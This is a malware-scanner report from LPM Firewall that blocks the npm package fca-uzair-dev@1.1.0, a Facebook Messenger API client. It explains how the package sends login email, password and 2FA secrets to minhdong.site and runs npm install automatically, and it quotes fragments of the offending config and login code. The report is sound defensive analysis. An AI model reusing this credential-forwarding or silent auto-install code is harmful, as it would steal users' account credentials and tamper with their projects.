Loading npm security reports…

fca-uzair-dev@1.1.0: Malicious npm security report (Block) | LPM Firewall

registry / fca-uzair-dev / 1.1.0

fca-uzair-dev@1.1.0

Uzair Facebook Chat API for Node.js - Interact with Facebook Messenger programmatically

AI Security Review

scanned 3h ago · by lpm-firewall-ai

During a normal login, the package sends supplied Facebook credentials to minhdong.site rather than directly to Facebook. The same login path automatically runs npm install in the consumer project when an update is available.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review

Trigger

The consumer calls the exported login function with credentials or configured auto-login credentials.

Impact

Facebook credentials can be disclosed to the external service, and the consumer project can be modified to install a newly selected package release.

Mechanism

Credential forwarding to an external server and automatic project dependency installation.

Attack narrative

Importing the package prepares its configuration. When an application calls login, the default auto-update path checks for a new release and runs npm install in the application's working directory. The login helper then sends the email and password supplied for Facebook authentication to minhdong.site, a package-controlled endpoint, and accepts cookies or tokens returned by that service. This is not necessary for a local Messenger client and exposes account credentials while allowing runtime dependency mutation.

Rationale

The source implements a concrete credential-exfiltration path to a non-Facebook endpoint and an enabled-by-default runtime updater that changes the consumer project. These behaviors occur through the ordinary login API, so they warrant blocking.

Evidence

module/config.jsmodule/loginHelper.jsmodule/login.jsfunc/checkUpdate.jsfca-uzair.jsonpackage.jsonnode_modules

Source & flagged code

7 flagged · loading source

module/loginHelper.jsView file

•matchType = normalized_sha256 matchedPackage = fca-riyad@37.2.7 matchedPath = module/loginHelper.js matchedIdentity = npm:ZmNhLXJpeWFk:37.2.7 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

module/loginHelper.jsView on unpkg

1"use strict"; L2: const fs = require("fs"); L3: const path = require("path");

Medium

Dynamic Require

Package source references dynamic require/import behavior.

module/loginHelper.jsView on unpkg · L1

module/config.jsView file

•Default automatic account recovery forwards email, password, and two-factor material to a fixed non-platform login relay. module/config.js: autoLogin: true, apiServer: "https://minhdong.site", credentials: { email: "", password: "", twofactor: "" }, module/loginHelper.js: * @param {string} email - Email hoặc số điện thoại * @param {string} password - Mật khẩu * @param {string|null} twoFactor - Secret Base32 cho 2FA (không phải mã 6 số) async function loginViaAPI(email, password, twoFactor = null, apiBaseUrl = null, apiKey = null) { const endpoint = `${baseUrl}/api/v1/facebook/login_ios`; email, password // Only include twoFactor if provided (must be Base32 secret, not 6-digit code) module/loginHelper.js: const u = config.credentials?.email || config.email; const p = config.credentials?.pas

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

module/config.jsView on unpkg

•matchType = normalized_sha256 matchedPackage = @eryxenx/fca@1.1.1 matchedPath = module/config.js matchedIdentity = npm:QGVyeXhlbngvZmNh:1.1.1 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

module/config.jsView on unpkg

package.jsonView file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

package.jsonView on unpkg

src/api/messaging/uploadAttachment.jsView file

•matchType = normalized_sha256 matchedPackage = @eryxenx/fca@1.1.1 matchedPath = [redacted].js matchedIdentity = npm:QGVyeXhlbngvZmNh:1.1.1 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/messaging/uploadAttachment.jsView on unpkg

src/api/users/getUserInfo.jsView file

•matchType = normalized_sha256 matchedPackage = @eryxenx/fca@1.1.1 matchedPath = src/api/users/getUserInfo.js matchedIdentity = npm:QGVyeXhlbngvZmNh:1.1.1 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/users/getUserInfo.jsView on unpkg

Source & flagged code

7 flagged

module/loginHelper.jsView file

Lines 1-21javascript

1"use strict";

2const fs = require("fs");

3const path = require("path");

Medium

Dynamic Require

Package source references dynamic require/import behavior.

module/loginHelper.jsView on unpkg · L1

4const EventEmitter = require("events");

5const models = require("../src/database/models");

6const logger = require("../func/logger");

7const { get, post, jar, makeDefaults } = require("../src/utils/request");

8const { saveCookies, getAppState } = require("../src/utils/client");

9const { getFrom } = require("../src/utils/constants");

10const { loadConfig } = require("./config");

11const { createRemoteClient } = require("../src/remote/remoteClient");

12const { config } = loadConfig();

13const axiosBase = require("axios");

14const regions = [

15 { code: "PRN", name: "Pacific Northwest Region", location: "Khu vực Tây Bắc Thái Bình Dương" },

16 { code: "VLL", name: "Valley Region", location: "Valley" },

17 { code: "ASH", name: "Ashburn Region", location: "Ashburn" },

18 { code: "DFW", name: "Dallas/Fort Worth Region", location: "Dallas/Fort Worth" },

19 { code: "LLA", name: "Los Angeles Region", location: "Los Angeles" },

20 { code: "FRA", name: "Frankfurt", location: "Frankfurt" },

21 { code: "SIN", name: "Singapore", location: "Singapore" },

•matchType = normalized_sha256 matchedPackage = fca-riyad@37.2.7 matchedPath = module/loginHelper.js matchedIdentity = npm:ZmNhLXJpeWFk:37.2.7 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

module/loginHelper.jsView on unpkg

module/config.jsView file

•Default automatic account recovery forwards email, password, and two-factor material to a fixed non-platform login relay. module/config.js: autoLogin: true, apiServer: "https://minhdong.site", credentials: { email: "", password: "", twofactor: "" }, module/loginHelper.js: * @param {string} email - Email hoặc số điện thoại * @param {string} password - Mật khẩu * @param {string|null} twoFactor - Secret Base32 cho 2FA (không phải mã 6 số) async function loginViaAPI(email, password, twoFactor = null, apiBaseUrl = null, apiKey = null) { const endpoint = `${baseUrl}/api/v1/facebook/login_ios`; email, password // Only include twoFactor if provided (must be Base32 secret, not 6-digit code) module/loginHelper.js: const u = config.credentials?.email || config.email; const p = config.credentials?.pas

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

module/config.jsView on unpkg

•matchType = normalized_sha256 matchedPackage = @eryxenx/fca@1.1.1 matchedPath = module/config.js matchedIdentity = npm:QGVyeXhlbngvZmNh:1.1.1 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

module/config.jsView on unpkg

package.jsonView file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

package.jsonView on unpkg

src/api/messaging/uploadAttachment.jsView file

•matchType = normalized_sha256 matchedPackage = @eryxenx/fca@1.1.1 matchedPath = [redacted].js matchedIdentity = npm:QGVyeXhlbngvZmNh:1.1.1 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/messaging/uploadAttachment.jsView on unpkg

src/api/users/getUserInfo.jsView file

•matchType = normalized_sha256 matchedPackage = @eryxenx/fca@1.1.1 matchedPath = src/api/users/getUserInfo.js matchedIdentity = npm:QGVyeXhlbngvZmNh:1.1.1 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

src/api/users/getUserInfo.jsView on unpkg